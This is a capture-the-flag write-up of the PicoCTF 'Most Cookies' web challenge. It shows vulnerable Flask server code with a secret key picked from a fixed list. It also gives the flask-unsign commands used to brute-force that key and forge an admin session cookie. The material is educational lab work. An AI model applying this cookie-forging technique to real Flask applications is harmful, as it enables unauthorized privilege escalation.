Contents

🌐 Most Cookies

A detailed write-up of the Web challenge 'Most Cookies' from PicoCTF - 2021

/images/PicoGym/PicoCTF-2021/MostCookies/challenge_presentation.png
Challenge Presentation

📊 Challenge Overview

Category Details Additional Info
🏆 Event PicoGym Event Link
🔰 Category Web 🌐
💎 Points 500 Out of 500 total
⭐ Difficulty 🟡 Medium Personal Rating: 3/10
👤 Author madStacks Profile
🎮 Solves (At the time of flag submission) 6.724 solve rate
📅 Date 20-02-2025 PicoGym
🦾 Solved By mH4ck3r0n3 Team:

📝 Challenge Information

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/

🎯 Challenge Files & Infrastructure

Provided Files

Files:

🔍 Initial Analysis

First Steps

Initially, the website appears as follows:

/images/PicoGym/PicoCTF-2021/MostCookies/site_presentation.png
Site Presentation

Inspecting the cookies (given the title of the challenge), I found a session cookie:

/images/PicoGym/PicoCTF-2021/MostCookies/cookies.png
Cookies

And after trying to decode it from base64, I got the following output:

/images/PicoGym/PicoCTF-2021/MostCookies/decode.png
Base64 Cookies Decode

It’s highly likely that very_auth is the header that determines some kind of privilege for access. While reviewing the code in the attached file, I found some vulnerable parts:

1
2
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

As we can see, the secret_key is easily deducible if it’s taken from a list of known plain text values. Continuing to read through the function for the /display route, I found something interesting:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

Indeed, if the very_auth cookie is set to admin, the page containing the flag is returned. The goal of the challenge is therefore to change our privileges by forging admin cookies to access the flag. After doing some research, I found this: https://www.bordergate.co.uk/flask-session-cookies/. Now that I understand how cookies are composed in Flask, we can proceed to the exploitation phase.

🔬 Vulnerability Analysis

Potential Vulnerabilities

  • Weak Secret Key
  • Flask Cookies Tampering

🎯 Solution Path

Exploitation Steps

Initial setup

In the article I found earlier, it mentions a tool called flask-unsign (https://github.com/Paradoxis/Flask-Unsign/tree/master?tab=readme-ov-file) that helps unsign Flask cookies by finding the secret key used to sign them. So, I simply installed it:

1
pip3 install flask-unsign[wordlist]

Then, I created a file wordlist.txt since we know the set of keys that contains the valid one used to sign the cookies. I did this directly with bash using sed, copying the code line from the list of keys:

1
echo 'cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]' | sed 's/cookie_names = \[\(.*\)\]/\1/' | sed 's/["],/\n/g' | sed 's/^[ \t]*//g' | sed 's/["]//g' > wordlist.txt

Now that we have everything needed, we can proceed to the actual exploitation phase.

Exploitation

The first step is to find the secret_key from the previously seen list that was used to sign the cookie. I can copy the session cookie directly with ChromeDevTools or I can also extract it using bash from the CLI with curl:

1
curl -I http://mercury.picoctf.net:65344/

Now, just copy the session cookies and use flask-unsign with the previously created wordlist to find the secret_key used to sign the cookies:

1
/home/mh4ck3r0n3/.local/bin/flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Z7cV0g.c28y4sr8f_dY6pmJP5qM1fxGw_M --wordlist wordlist.txt

Once the secret key, fortune, is found, we can forge a new cookie with very_auth set to admin and sign it with the fortune key:

1
/home/mh4ck3r0n3/.local/bin/flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret fortune

Once this is done and we have the forged cookie with admin privileges to access the flag, all that’s left is to send a request by modifying the session cookie value via ChromeDevTools, with the newly forged cookie, and refresh the page (F5). This will give us the flag.

Flag capture

/images/PicoGym/PicoCTF-2021/MostCookies/manual_flag.png
Manual Flag

🛠️ Exploitation Process

Approach

The automatic exploit makes a GET request to the page to extract the session cookies. Then, using the list of keys with which the session cookie is generated, it extracts the correct key used to sign the original cookie. Once the key is extracted, it forges the new cookie with the value set to admin, and sends another request to /display with the newly forged cookie, extracting the flag from the response using a regex.

🚩 Flag Capture

Flag

Proof of Execution

/images/PicoGym/PicoCTF-2021/MostCookies/automated_flag.png
Automated Flag
Screenshot of successful exploitation

🔧 Tools Used

Tool Purpose
Python Exploit
Flask-Unsign Cookie Forging

💡 Key Learnings

New Knowledge

I have learned how to forge session cookies with Flask.

Skills Improved

  • Binary Exploitation
  • Reverse Engineering
  • Web Exploitation
  • Cryptography
  • Forensics
  • OSINT
  • Miscellaneous

📚 References & Resources

Learning Resources


📊 Final Statistics

Metric Value Notes
Time to Solve 00:19 From start to flag
Global Ranking (At the time of flag submission) Challenge ranking
Points Earned 500 Team contribution

Created: 20-02-2025 • Last Modified: 20-02-2025 *Author: mH4ck3r0n3 • Team: *